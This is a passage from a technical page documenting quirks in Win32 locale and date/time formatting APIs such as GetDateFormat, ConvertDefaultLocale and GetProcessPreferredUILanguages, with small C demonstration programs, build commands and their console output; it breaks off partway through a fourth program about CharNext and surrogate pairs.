Returns the number of characters written to the lpDateStr buffer if successful. If the cchDate parameter is set to 0, the function returns the number of characters required to hold the formatted date string, including the terminating null character.
The function returns 0 if it does not succeed. […]
Formats time as a time string for a locale specified by identifier. The function formats either a specified time or the local system time.[…]
[…]int GetTimeFormat( LCID Locale, DWORD dwFlags, const SYSTEMTIME *lpTime, LPCTSTR lpFormat, LPTSTR lpTimeStr, int cchTime );
Returns the number of TCHAR values retrieved in the buffer indicated by lpTimeStr. If the cchTime parameter is set to 0, the function returns the size of the buffer required to hold the formatted time string, including a terminating null character.
This function returns 0 if it does not succeed. […]
Formats a date as a date string for a locale specified by name. The function formats either a specified date or the local system date.[…]
[…]int GetDateFormatEx( LPCTSTR lpLocaleName, DWORD dwFlags, const SYSTEMTIME *lpDate, LPCTSTR lpFormat, LPTSTR lpDateStr, int cchDate, LPCTSTR lpCalendar );
Returns the number of characters written to the lpDateStr buffer if successful. If the cchDate parameter is set to 0, the function returns the number of characters required to hold the formatted date string, including the terminating null character.
This function returns 0 if it does not succeed. […]
Formats time as a time string for a locale specified by name. The function formats either a specified time or the local system time.Win32 functions which write a character string to a buffer typically return the number of characters except the terminating[…]
[…]int GetTimeFormatEx( LPCTSTR lpLocaleName, DWORD dwFlags, const SYSTEMTIME *lpTime, LPCTSTR lpFormat, LPTSTR lpTimeStr, int cchTime );
Returns the number of characters retrieved in the buffer indicated by lpTimeStr. If the cchTime parameter is set to 0, the function returns the size of the buffer required to hold the formatted time string, including a terminating null character.
This function returns 0 if it does not succeed. […]
NUL
character,
even if not stated explicitly.
NUL
character, without explicitly stating their unusual behaviour.
Retrieving Time and Date Information
GetDateFormat()
GetDateFormatEx()
GetTimeFormat()
GetTimeFormatEx()
Day, Month, Year, and Era Format Pictures
Day, Month, Year, and Era Format Pictures
Hour, Minute, and Second Format Pictures
Hour, Minute, and Second Format Pictures
Create the text file quirk31.c
with the following
content in an arbitrary, preferable empty directory:
// Copyright © 2004-2024, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define UNICODE
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
__declspec(safebuffers)
BOOL CDECL PrintConsole(HANDLE hConsole, [SA_FormatString(Style="printf")] LPCWSTR lpFormat, ...)
{
WCHAR szOutput[1024];
DWORD dwOutput;
DWORD dwConsole;
va_list vaInput;
va_start(vaInput, lpFormat);
dwOutput = wvsprintf(szOutput, lpFormat, vaInput);
va_end(vaInput);
if (dwOutput == 0)
return FALSE;
if (!WriteConsole(hConsole, szOutput, dwOutput, &dwConsole, NULL))
return FALSE;
return dwConsole == dwOutput;
}
__declspec(noreturn)
VOID CDECL wmainCRTStartup(VOID)
{
SYSTEMTIME st;
INT nDate, nTime, nSize;
LPWSTR lpDate, lpTime;
WCHAR szDate[] = L"MM/dd/yyyy";
WCHAR szTime[] = L"HH:mm:ss";
DWORD dwError = ERROR_SUCCESS;
HANDLE hConsole = GetStdHandle(STD_ERROR_HANDLE);
if (hConsole == INVALID_HANDLE_VALUE)
dwError = GetLastError();
else
{
GetSystemTime(&st);
nDate = GetDateFormat(LOCALE_INVARIANT,
0,
&st,
szDate,
szDate,
sizeof(szDate) / sizeof(*szDate));
if (nDate == 0)
PrintConsole(hConsole,
L"GetDateFormat() returned error %lu\n",
dwError = GetLastError());
else
{
nSize = wcslen(szDate);
if (nSize != nDate)
PrintConsole(hConsole,
L"GetDateFormat() returned date \'%ls\' of %lu characters, but real string length is %lu characters\n",
szDate, nDate, nSize);
}
nTime = GetTimeFormat(LOCALE_INVARIANT,
0,
&st,
szTime,
szTime,
sizeof(szTime) / sizeof(*szTime));
if (nTime == 0)
PrintConsole(hConsole,
L"GetTimeFormat() returned error %lu\n",
dwError = GetLastError());
else
{
nSize = wcslen(szTime);
if (nSize != nTime)
PrintConsole(hConsole,
L"GetTimeFormat() returned time \'%ls\' of %lu characters, but real string length is %lu characters\n",
szTime, nTime, nSize);
}
nSize = GetDateFormatEx(LOCALE_NAME_INVARIANT,
DATE_LONGDATE,
&st,
(LPCWSTR) NULL,
(LPWSTR) NULL,
0,
(LPCWSTR) NULL);
if (nSize == 0)
PrintConsole(hConsole,
L"GetDateFormatEx() returned error %lu\n",
dwError = GetLastError());
else
{
lpDate = LocalAlloc(LPTR, nSize * sizeof(*lpDate));
if (lpDate == NULL)
PrintConsole(hConsole,
L"LocalAlloc() returned error %lu\n",
dwError = GetLastError());
else
{
nDate = GetDateFormatEx(LOCALE_NAME_INVARIANT,
DATE_LONGDATE,
&st,
(LPCWSTR) NULL,
lpDate,
nSize,
(LPCWSTR) NULL);
if (nDate == 0)
PrintConsole(hConsole,
L"GetDateFormatEx() returned error %lu\n",
dwError = GetLastError());
else
if (nDate != nSize - 1)
PrintConsole(hConsole,
L"GetDateFormatEx() returned date \'%ls\' of %lu characters, but real string length is %lu characters\n",
lpDate, nDate, wcslen(lpDate));
if (LocalFree(lpDate) != NULL)
PrintConsole(hConsole,
L"LocalFree() returned error %lu\n",
dwError = GetLastError());
}
}
nSize = GetTimeFormatEx(LOCALE_NAME_INVARIANT,
TIME_FORCE24HOURFORMAT,
&st,
(LPCWSTR) NULL,
(LPWSTR) NULL,
0);
if (nSize == 0)
PrintConsole(hConsole,
L"GetTimeFormatEx() returned error %lu\n",
dwError = GetLastError());
else
{
lpTime = LocalAlloc(LPTR, nSize * sizeof(*lpTime));
if (lpTime == NULL)
PrintConsole(hConsole,
L"LocalAlloc() returned error %lu\n",
dwError = GetLastError());
else
{
nTime = GetTimeFormatEx(LOCALE_NAME_INVARIANT,
TIME_FORCE24HOURFORMAT,
&st,
(LPCWSTR) NULL,
lpTime,
nSize);
if (nTime == 0)
PrintConsole(hConsole,
L"GetTimeFormatEx() returned error %lu\n",
dwError = GetLastError());
else
if (nTime != nSize - 1)
PrintConsole(hConsole,
L"GetTimeFormatEx() returned time \'%ls\' of %lu characters, but real string length is %lu characters\n",
lpTime, nTime, wcslen(lpTime));
if (LocalFree(lpTime) != NULL)
PrintConsole(hConsole,
L"LocalFree() returned error %lu\n",
dwError = GetLastError());
}
}
if (!CloseHandle(hConsole))
PrintConsole(hConsole,
L"CloseHandle() returned error %lu\n",
GetLastError());
}
ExitProcess(dwError);
}
Build the console application quirk31.exe
from the
source file quirk31.c
created in step 1.:
SET CL=/GAFy /Oisy /W4 /Zl SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE CL.EXE quirk31.c kernel32.lib user32.libFor details and reference see the MSDN articles Compiler Options and Linker Options.
Note: if necessary, see the MSDN article Use the Microsoft C++ toolset from the command line for an introduction.
Note: quirk31.exe
is a pure
Win32 console application and builds without the
MSVCRT
libraries.
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. quirk31.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:quirk31.exe quirk31.obj kernel32.lib user32.lib
Execute the console application quirk31.exe
built in
step 2. to demonstrate the (mis)behaviour:
.\quirk31.exe
GetDateFormat() returned date '08/15/2020' of 11 characters, but real string length is 10 characters GetTimeFormat() returned time '12:34:56' of 9 characters, but real string length is 8 characters GetDateFormatEx() returned date 'Saturday, 15 August 2020' of 25 characters, but real string length is 24 characters GetTimeFormatEx() returned time '12:34:56' of 9 characters, but real string length is 8 characters
GetCalendarInfo()
,
GetCalendarInfoEx()
,
GetCurrencyFormat()
,
GetCurrencyFormatEx()
,
GetDurationFormat()
,
GetDurationFormatEx()
,
GetGeoInfo()
,
GetLocaleInfo()
,
GetLocaleInfoEx()
,
GetNumberFormat()
and
GetNumberFormatEx()
is left as an exercise to the reader.
International Support
National Language Support Functions
National Language Support Functions
Security Considerations: International Features
Table of Geographical Locations
Table of Geographical Locations
Sort Order Identifiers
Sort Order Identifiers
Calendar Identifiers
Calendar Identifiers
Calendar Type Information
Calendar Type Information
Era Handling for the Japanese Calendar
Paper Sizes
Paper Sizes
EnumCalendarInfo()
EnumCalendarInfo()
EnumCalendarInfoEx()
EnumCalendarInfoEx()
EnumCalendarInfoExEx()
EnumCalendarInfoExEx()
EnumDateFormats()
EnumDateFormats()
EnumDateFormatsEx()
EnumDateFormatsEx()
EnumDateFormatsExEx()
EnumDateFormatsExEx()
EnumTimeFormats()
EnumTimeFormats()
EnumTimeFormatsEx()
EnumTimeFormatsEx()
GetCurrencyFormat()
GetLocaleInfo()
GetLocaleInfoEx()
GetNumberFormat()
GetNumberFormatEx()
NUMBERFMT structure
Note: a repetition of this demonstration in the 64-bit execution environment is left as an exercise to the reader.
ConvertDefaultLocale()
is documented in the
MSDN as
follows:
Converts a default locale value to an actual locale identifier.OUCH: theNote This function is only provided for converting partial locale identifiers.[…]LCID ConvertDefaultLocale( LCID Locale );
Locale
Default locale identifier value to convert. You can use the MAKELANGID macro to create a locale identifier or use one of the following predefined values.
Windows Vista and later: The following custom locale identifiers are also supported.[…]
Returns the appropriate locale identifier if successful.
This function returns the value of the Locale parameter if it does not succeed. The function fails when the Locale value is not one of the default values listed above.
[…]
MAKELANGID
MAKELANGID
macro creates
Language Identifiers;
use the
MAKELCID
macro to create
Locale Identifiers!
Language Identifiers
Locale Identifiers
Create the text file quirk32.c
with the following
content in an arbitrary, preferable empty directory:
// Copyright © 2004-2024, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define UNICODE
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
__declspec(safebuffers)
BOOL CDECL PrintConsole(HANDLE hConsole, [SA_FormatString(Style="printf")] LPCWSTR lpFormat, ...)
{
WCHAR szOutput[1024];
DWORD dwOutput;
DWORD dwConsole;
va_list vaInput;
va_start(vaInput, lpFormat);
dwOutput = wvsprintf(szOutput, lpFormat, vaInput);
va_end(vaInput);
if (dwOutput == 0)
return FALSE;
if (!WriteConsole(hConsole, szOutput, dwOutput, &dwConsole, NULL))
return FALSE;
return dwConsole == dwOutput;
}
__declspec(noreturn)
VOID CDECL wmainCRTStartup(VOID)
{
DWORD dwError = ERROR_SUCCESS;
LCID lcDefault = LOCALE_NEUTRAL;
LCID lcConvert;
WCHAR szDefault[LOCALE_MAX_NAME_LENGTH];
WCHAR szConvert[LOCALE_MAX_NAME_LENGTH];
HANDLE hConsole = GetStdHandle(STD_ERROR_HANDLE);
if (hConsole == INVALID_HANDLE_VALUE)
dwError = GetLastError();
else
{
do
{
lcConvert = ConvertDefaultLocale(lcDefault);
if (lcConvert != lcDefault)
if (LCIDToLocaleName(lcDefault,
szDefault,
sizeof(szDefault) / sizeof(*szDefault),
LOCALE_ALLOW_NEUTRAL_NAMES) == 0)
PrintConsole(hConsole,
L"LCIDToLocaleName() returned error %lu for LCID 0x%08lX\n",
dwError = GetLastError(), lcDefault);
else if (LCIDToLocaleName(lcConvert,
szConvert,
sizeof(szConvert) / sizeof(*szConvert),
LOCALE_ALLOW_NEUTRAL_NAMES) == 0)
PrintConsole(hConsole,
L"LCIDToLocaleName() returned error %lu for LCID 0x%08lX\n",
dwError = GetLastError(), lcConvert);
else
PrintConsole(hConsole,
L"0x%08lX = %ls\n"
L"0x%08lX = %ls\n",
lcDefault, szDefault,
lcConvert, szConvert);
} while (lcDefault++ < LOCALE_CUSTOM_UI_DEFAULT);
if (!CloseHandle(hConsole))
PrintConsole(hConsole,
L"CloseHandle() returned error %lu\n",
GetLastError());
}
ExitProcess(dwError);
}
LOCALE_NEUTRAL
ConvertDefaultLocale()
LCIDToLocaleName()
LCIDToLocaleName()
LocaleNameToLCID()
LocaleNameToLCID()
Build the console application quirk32.exe
from the
source file quirk32.c
created in step 1.:
SET CL=/GAFy /Oisy /W4 /Zl SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE CL.EXE quirk32.c kernel32.lib user32.libFor details and reference see the MSDN articles Compiler Options and Linker Options.
Note: if necessary, see the MSDN article Use the Microsoft C++ toolset from the command line for an introduction.
Note: quirk32.exe
is a pure
Win32 console application and builds without the
MSVCRT
libraries.
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. quirk32.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:quirk32.exe quirk32.obj kernel32.lib user32.lib
Execute the console application quirk32.exe
built in
step 2. to demonstrate the (mis)behaviour:
.\quirk32.exe
0x00000000 = en-US 0x00000409 = en-US 0x00000001 = ar 0x00000401 = ar-SA 0x00000002 = bg 0x00000402 = bg-BG 0x00000003 = ca 0x00000403 = ca-ES 0x00000004 = zh-Hans 0x00000804 = zh-CN 0x00000005 = cs 0x00000405 = cs-CZ 0x00000006 = da 0x00000406 = da-DK 0x00000007 = de 0x00000407 = en-US 0x00000008 = el 0x00000408 = el-GR 0x00000009 = en 0x00000409 = en-US 0x0000000A = es 0x00000C0A = es-ES 0x0000000B = fi 0x0000040B = fi-FI 0x0000000C = fr 0x0000040C = fr-FR 0x0000000D = he 0x0000040D = he-IL 0x0000000E = hu 0x0000040E = hu-HU 0x0000000F = is 0x0000040F = is-IS 0x00000010 = it 0x00000410 = it-IT 0x00000011 = ja 0x00000411 = ja-JP 0x00000012 = ko 0x00000412 = ko-KR 0x00000013 = nl 0x00000413 = nl-NL 0x00000014 = no 0x00000414 = nb-NO 0x00000015 = pl 0x00000415 = pl-PL 0x00000016 = pt 0x00000416 = pt-BR 0x00000017 = rm 0x00000417 = rm-CH 0x00000018 = ro 0x00000418 = ro-RO 0x00000019 = ru 0x00000419 = ru-RU 0x0000001A = hr 0x0000041A = hr-HR 0x0000001B = sk 0x0000041B = sk-SK 0x0000001C = sq 0x0000041C = sq-AL 0x0000001D = sv 0x0000041D = sv-SE 0x0000001E = th 0x0000041E = th-TH 0x0000001F = tr 0x0000041F = tr-TR 0x00000020 = ur 0x00000420 = ur-PK 0x00000021 = id 0x00000421 = id-ID 0x00000022 = uk 0x00000422 = uk-UA 0x00000023 = be 0x00000423 = be-BY 0x00000024 = sl 0x00000424 = sl-SI 0x00000025 = et 0x00000425 = et-EE 0x00000026 = lv 0x00000426 = lv-LV 0x00000027 = lt 0x00000427 = lt-LT 0x00000028 = tg 0x00000428 = tg-Cyrl-TJ 0x00000029 = fa 0x00000429 = fa-IR 0x0000002A = vi 0x0000042A = vi-VN 0x0000002B = hy 0x0000042B = hy-AM 0x0000002C = az 0x0000042C = az-Latn-AZ 0x0000002D = eu 0x0000042D = eu-ES 0x0000002E = hsb 0x0000042E = hsb-DE 0x0000002F = mk 0x0000042F = mk-MK 0x00000032 = tn 0x00000432 = tn-ZA 0x00000034 = xh 0x00000434 = xh-ZA 0x00000035 = zu 0x00000435 = zu-ZA 0x00000036 = af 0x00000436 = af-ZA 0x00000037 = ka 0x00000437 = ka-GE 0x00000038 = fo 0x00000438 = fo-FO 0x00000039 = hi 0x00000439 = hi-IN 0x0000003A = mt 0x0000043A = mt-MT 0x0000003B = se 0x0000043B = se-NO 0x0000003C = ga 0x0000083C = ga-IE 0x0000003E = ms 0x0000043E = ms-MY 0x0000003F = kk 0x0000043F = kk-KZ 0x00000040 = ky 0x00000440 = ky-KG 0x00000041 = sw 0x00000441 = sw-KE 0x00000042 = tk 0x00000442 = tk-TM 0x00000043 = uz 0x00000443 = uz-Latn-UZ 0x00000044 = tt 0x00000444 = tt-RU 0x00000045 = bn 0x00000445 = bn-IN 0x00000046 = pa 0x00000446 = pa-IN 0x00000047 = gu 0x00000447 = gu-IN 0x00000048 = or 0x00000448 = or-IN 0x00000049 = ta 0x00000449 = ta-IN 0x0000004A = te 0x0000044A = te-IN 0x0000004B = kn 0x0000044B = kn-IN 0x0000004C = ml 0x0000044C = ml-IN 0x0000004D = as 0x0000044D = as-IN 0x0000004E = mr 0x0000044E = mr-IN 0x0000004F = sa 0x0000044F = sa-IN 0x00000050 = mn 0x00000450 = mn-MN 0x00000051 = bo 0x00000451 = bo-CN 0x00000052 = cy 0x00000452 = cy-GB 0x00000053 = km 0x00000453 = km-KH 0x00000054 = lo 0x00000454 = lo-LA 0x00000056 = gl 0x00000456 = gl-ES 0x00000057 = kok 0x00000457 = kok-IN 0x0000005A = syr 0x0000045A = syr-SY 0x0000005B = si 0x0000045B = si-LK 0x0000005D = iu 0x0000085D = iu-Latn-CA 0x0000005E = am 0x0000045E = am-ET 0x0000005F = tzm 0x0000085F = tzm-Latn-DZ 0x00000061 = ne 0x00000461 = ne-NP 0x00000062 = fy 0x00000462 = fy-NL 0x00000063 = ps 0x00000463 = ps-AF 0x00000064 = fil 0x00000464 = fil-PH 0x00000065 = dv 0x00000465 = dv-MV 0x00000068 = ha 0x00000468 = ha-Latn-NG 0x0000006A = yo 0x0000046A = yo-NG 0x0000006B = quz 0x0000046B = quz-BO 0x0000006C = nso 0x0000046C = nso-ZA 0x0000006D = ba 0x0000046D = ba-RU 0x0000006E = lb 0x0000046E = lb-LU 0x0000006F = kl 0x0000046F = kl-GL 0x00000070 = ig 0x00000470 = ig-NG 0x00000078 = ii 0x00000478 = ii-CN 0x0000007A = arn 0x0000047A = arn-CL 0x0000007C = moh 0x0000047C = moh-CA 0x0000007E = br 0x0000047E = br-FR 0x00000080 = ug 0x00000480 = ug-CN 0x00000081 = mi 0x00000481 = mi-NZ 0x00000082 = oc 0x00000482 = oc-FR 0x00000083 = co 0x00000483 = co-FR 0x00000084 = gsw 0x00000484 = gsw-FR 0x00000085 = sah 0x00000485 = sah-RU 0x00000086 = qut 0x00000486 = qut-GT 0x00000087 = rw 0x00000487 = rw-RW 0x00000088 = wo 0x00000488 = wo-SN 0x0000008C = prs 0x0000048C = prs-AF 0x00000091 = gd 0x00000491 = gd-GB 0x00000400 = en-US 0x00000409 = en-US 0x00000800 = en-US 0x00000409 = en-US 0x00000C00 = en-US 0x00000409 = en-USOUCH: the
ConvertDefaultLocale()
function fails for the explicitly listed predefined
Locale Identifiers
0x0000007F alias
LOCALE_INVARIANT
,
0x00001000 alias
LOCALE_CUSTOM_UNSPECIFIED
and 0x00001400 alias
LOCALE_CUSTOM_UI_DEFAULT
!
Oops: contrary to the last highlighted statement of the documentation cited above it but succeeds for non-default locale identifiers.
GetSystemPreferredUILanguages()
,
GetUserPreferredUILanguages()
and
GetThreadPreferredUILanguages()
,
introduced with Windows Vista, are documented in the
MSDN as
follows:
Retrieves the system preferred UI languages. […][…]BOOL GetSystemPreferredUILanguages( DWORD dwFlags, PULONG pulNumLanguages, PZZWSTR pwszLanguagesBuffer, PULONG pcchLanguagesBuffer );
dwFlags
[…]
pulNumLanguages
Pointer to the number of languages retrieved in pwszLanguagesBuffer.
pwszLanguagesBuffer
Optional. Pointer to a buffer in which this function retrieves an ordered, null-delimited system preferred UI languages list, in the format specified by dwFlags. This list ends with two null characters.
Alternatively if this parameter is set to NULL and pcchLanguagesBuffer is set to 0, the function retrieves the required size of the language buffer in pcchLanguagesBuffer. The required size includes the two null characters.
pcchLanguagesBuffer
Pointer to the size, in characters, for the language buffer indicated by pwszLanguagesBuffer. On successful return from the function, the parameter contains the size of the retrieved language buffer.
Alternatively if this parameter is set to 0 and pwszLanguagesBuffer is set to NULL, the function retrieves the required size of the language buffer in pcchLanguagesBuffer.
[…]
Returns TRUE if successful or FALSE otherwise. […]
Retrieves information about the display language setting. […][…]BOOL GetUserPreferredUILanguages( DWORD dwFlags, PULONG pulNumLanguages, PZZWSTR pwszLanguagesBuffer, PULONG pcchLanguagesBuffer );
dwFlags
[…]
pulNumLanguages
Pointer to the number of languages retrieved in pwszLanguagesBuffer.
pwszLanguagesBuffer
Optional. Pointer to a buffer in which this function retrieves an ordered, null-delimited display language list, in the format specified by dwflags. This list ends with two null characters.
Alternatively if this parameter is set to NULL and pcchLanguagesBuffer is set to 0, the function retrieves the required size of the language buffer in pcchLanguagesBuffer. The required size includes the two null characters.
pcchLanguagesBuffer
Pointer to the size, in characters, for the language buffer indicated by pwszLanguagesBuffer. On successful return from the function, the parameter contains the size of the retrieved language buffer.
Alternatively if this parameter is set to 0 and pwszLanguagesBuffer is set to NULL, the function retrieves the required size of the language buffer in pcchLanguagesBuffer.
[…]
Returns TRUE if successful or FALSE otherwise. […]
Retrieves the thread preferred UI languages for the current thread. […]The Win32 function[…]BOOL GetThreadPreferredUILanguages( DWORD dwFlags, PULONG pulNumLanguages, PZZWSTR pwszLanguagesBuffer, PULONG pcchLanguagesBuffer );
dwFlags
[…]
pulNumLanguages
Pointer to the number of languages retrieved in pwszLanguagesBuffer.
pwszLanguagesBuffer
Optional. Pointer to a buffer in which this function retrieves an ordered, null-delimited thread preferred UI languages list, in the format specified by dwFlags. This list ends with two null characters.
Alternatively if this parameter is set to NULL and pcchLanguagesBuffer is set to 0, the function retrieves the required size of the language buffer in pcchLanguagesBuffer. The required size includes the two null characters.
pcchLanguagesBuffer
Pointer to the size, in characters, for the language buffer indicated by pwszLanguagesBuffer. On successful return from the function, the parameter contains the size of the retrieved language buffer.
Alternatively if this parameter is set to 0 and pwszLanguagesBuffer is set to NULL, the function retrieves the required size of the language buffer in pcchLanguagesBuffer.
[…]
Returns TRUE if successful or FALSE otherwise. […]
GetProcessPreferredUILanguages()
,
introduced with Windows 7, is documented
in the MSDN
as follows:
Retrieves the process preferred UI languages. […][…]BOOL GetProcessPreferredUILanguages( DWORD dwFlags, PULONG pulNumLanguages, PZZWSTR pwszLanguagesBuffer, PULONG pcchLanguagesBuffer );
dwFlags
[…]
pulNumLanguages
Pointer to the number of languages retrieved in pwszLanguagesBuffer.
pwszLanguagesBuffer
Optional. Pointer to a double null-terminated multi-string buffer in which the function retrieves an ordered, null-delimited list in preference order, starting with the most preferable.
Alternatively if this parameter is set to NULL and pcchLanguagesBuffer is set to 0, the function retrieves the required size of the language buffer in pcchLanguagesBuffer. The required size includes the two null characters.
pcchLanguagesBuffer
Pointer to the size, in characters, for the language buffer indicated by pwszLanguagesBuffer. On successful return from the function, the parameter contains the size of the retrieved language buffer.
Alternatively if this parameter is set to 0 and pwszLanguagesBuffer is set to NULL, the function retrieves the required size of the language buffer in pcchLanguagesBuffer.
[…]
Returns TRUE if successful or FALSE otherwise. […]
If the process preferred UI language list is empty or if the languages specified for the process are not valid, the function succeeds and returns an empty multistring in pwszLanguagesBuffer and 2 in the pcchLanguagesBuffer parameter.
Create the text file quirk33.c
with the following
content in an arbitrary, preferable empty directory:
// Copyright © 2004-2024, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define UNICODE
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
__declspec(safebuffers)
BOOL CDECL PrintConsole(HANDLE hConsole, [SA_FormatString(Style="printf")] LPCWSTR lpFormat, ...)
{
WCHAR szOutput[1024];
DWORD dwOutput;
DWORD dwConsole;
va_list vaInput;
va_start(vaInput, lpFormat);
dwOutput = wvsprintf(szOutput, lpFormat, vaInput);
va_end(vaInput);
if (dwOutput == 0)
return FALSE;
if (!WriteConsole(hConsole, szOutput, dwOutput, &dwConsole, NULL))
return FALSE;
return dwConsole == dwOutput;
}
__declspec(noreturn)
VOID CDECL wmainCRTStartup(VOID)
{
DWORD dwError = ERROR_SUCCESS;
DWORD dwCount;
DWORD dwBuffer;
WCHAR szBuffer[LOCALE_NAME_MAX_LENGTH + 1];
HANDLE hConsole = GetStdHandle(STD_ERROR_HANDLE);
if (hConsole == INVALID_HANDLE_VALUE)
dwError = GetLastError();
else
{
dwCount = 123456789;
dwBuffer = 0;
if (!GetSystemPreferredUILanguages(MUI_LANGUAGE_NAME,
&dwCount,
(LPWSTR) NULL,
&dwBuffer))
PrintConsole(hConsole,
L"GetSystemPreferredUILanguages() returned error %lu\n",
dwError = GetLastError());
else
PrintConsole(hConsole,
L"System\t%lu\t%lu\n",
dwCount, dwBuffer);
dwCount = 123456789;
dwBuffer = 0;
if (!GetUserPreferredUILanguages(MUI_LANGUAGE_NAME,
&dwCount,
(LPWSTR) NULL,
&dwBuffer))
PrintConsole(hConsole,
L"GetUserPreferredUILanguages() returned error %lu\n",
dwError = GetLastError());
else
PrintConsole(hConsole,
L"User\t%lu\t%lu\n",
dwCount, dwBuffer);
dwCount = 123456789;
dwBuffer = 0;
if (!GetProcessPreferredUILanguages(MUI_LANGUAGE_NAME,
&dwCount,
(LPWSTR) NULL,
&dwBuffer))
PrintConsole(hConsole,
L"GetProcessPreferredUILanguages() returned error %lu\n",
dwError = GetLastError());
else
PrintConsole(hConsole,
L"Process\t%lu\t%lu\n",
dwCount, dwBuffer);
dwCount = 123456789;
dwBuffer = sizeof(szBuffer) / sizeof(*szBuffer);
if (!GetProcessPreferredUILanguages(MUI_LANGUAGE_NAME,
&dwCount,
szBuffer,
&dwBuffer))
PrintConsole(hConsole,
L"GetProcessPreferredUILanguages() returned error %lu\n",
dwError = GetLastError());
else
PrintConsole(hConsole,
L"Process\t%lu\t%lu\n",
dwCount, dwBuffer);
dwCount = 123456789;
dwBuffer = 0;
if (!GetThreadPreferredUILanguages(MUI_LANGUAGE_NAME | MUI_THREAD_LANGUAGES,
&dwCount,
(LPWSTR) NULL,
&dwBuffer))
PrintConsole(hConsole,
L"GetThreadPreferredUILanguages() returned error %lu\n",
dwError = GetLastError());
else
PrintConsole(hConsole,
L"Thread\t%lu\t%lu\n",
dwCount, dwBuffer);
if (!CloseHandle(hConsole))
PrintConsole(hConsole,
L"CloseHandle() returned error %lu\n",
GetLastError());
}
ExitProcess(dwError);
}
Build the console application quirk33.exe
from the
source file quirk33.c
created in step 1.:
SET CL=/GAFy /Oisy /W4 /Zl SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE CL.EXE quirk33.c kernel32.lib user32.libFor details and reference see the MSDN articles Compiler Options and Linker Options.
Note: if necessary, see the MSDN article Use the Microsoft C++ toolset from the command line for an introduction.
Note: quirk33.exe
is a pure
Win32 console application and builds without the
MSVCRT
libraries.
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. quirk33.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:quirk33.exe quirk33.obj kernel32.lib user32.lib
Execute the console application quirk33.exe
built in
step 2. to demonstrate the (mis)behaviour:
.\quirk33.exe
System 1 7 User 1 7 Process 123456789 2 Process 123456789 2 Thread 0 2OUCH: the
GetProcessPreferredUILanguages()
function fails to set its output parameter
*pulNumLanguages
to 0 if it retrieves an empty buffer!
CharNextA()
,
CharNextExA()
and
CharNextW()
are documented in the
MSDN as
follows:
Retrieves the pointer to the next character in a string. This function can handle strings consisting of either single- or multi-byte characters.[…]
LPSTR CharNextA( LPCSTR lpsz );
[…]
When called as an ANSI function, CharNext uses the system default code-page, whereas
CharNextA()
specifies a code-page to use.This function works with default "user" expectations of characters when dealing with diacritics. For example: A string that contains U+0061 U+030a "LATIN SMALL LETTER A" + "COMBINING RING ABOVE" — which looks like "å", will advance two code points, not one. A string that contains U+0061 U+0301 U+0302 U+0303 U+0304 — which looks like "á̂̃̄", will advance five code points, not one, and so on.
Retrieves the pointer to the next character in a string. This function can handle strings consisting of either single- or multi-byte characters.Note: the code page identifier 65001 alias[…]
LPSTR CharNextExA( WORD CodePage, LPCSTR lpCurrentChar, DWORD dwFlags );
[…]
CodePage
The identifier of the code page to use to check lead-byte ranges. Can be one of the code-page values provided in Code Page Identifiers, or one of the following predefined values.
[…]
CP_UTF8
denotes multi-byte character strings in
UTF-8
encoding.
Retrieves the pointer to the next character in a string. This function can handle strings consisting of either single- or multi-byte characters.The MSDN article Surrogates and Supplementary Characters states:[…]
LPWSTR CharNextW( LPCWSTR lpsz );
[…]Oops: a surrogate pair consisting of two 16-bit code units represents but a single code point!CharNext()
andCharPrev()
move by 16-bit code points, not by surrogate pairs.Note
Standalone surrogate code points have either a high surrogate without an adjacent low surrogate, or vice versa. These code points are invalid and are not supported. Their behavior is undefined.
Note: a low (alias trail) surrogate followed by a high (alias lead) surrogate is of course invalid too!
Create the text file quirk34.c
with the following
content in an arbitrary, preferable empty directory:
// Copyright © 2004-2024, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define UNICODE
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#ifndef QUIRKS
const WCHAR szWide[] = L"\xFEFF \xD83D\xDE12 \xD83C\xDDEA\xD83C\xDDFA a\x030A a\x0301\x0302\x0303\x0304";
#else
const WCHAR szWide[] = L"\xFEFF \xDE12\xD83D \xDDEA\xD83C\xDDFA\xD83C a\x030A a\x0301\x0302\x0303\x0304";
#endif
__declspec(safebuffers)
BOOL CDECL PrintConsole(HANDLE hConsole, [SA_FormatString(Style="printf")] LPCWSTR lpFormat, ...)
{
WCHAR szOutput[1024];
DWORD dwOutput;
DWORD dwConsole;
va_list vaInput;
va_start(vaInput, lpFormat);
dwOutput = wvsprintf(szOutput, lpFormat, vaInput);
va_end(vaInput);
if (dwOutput == 0)
return FALSE;
if (!WriteConsole(hConsole, szOutput, dwOutput, &dwConsole, NULL))
return FALSE;
return dwConsole == dwOutput;
}
__declspec(noreturn)
VOID CDECL wmainCRTStartup(VOID)
{
UINT uiWide;
UINT uiANSI;
CHAR szANSI[42];
LPCSTR lpANSI;
LPCVOID lpLast;
LPCWSTR lpWide;
DWORD dwError = ERROR_SUCCESS;
HANDLE hConsole = GetStdHandle(STD_ERROR_HANDLE);
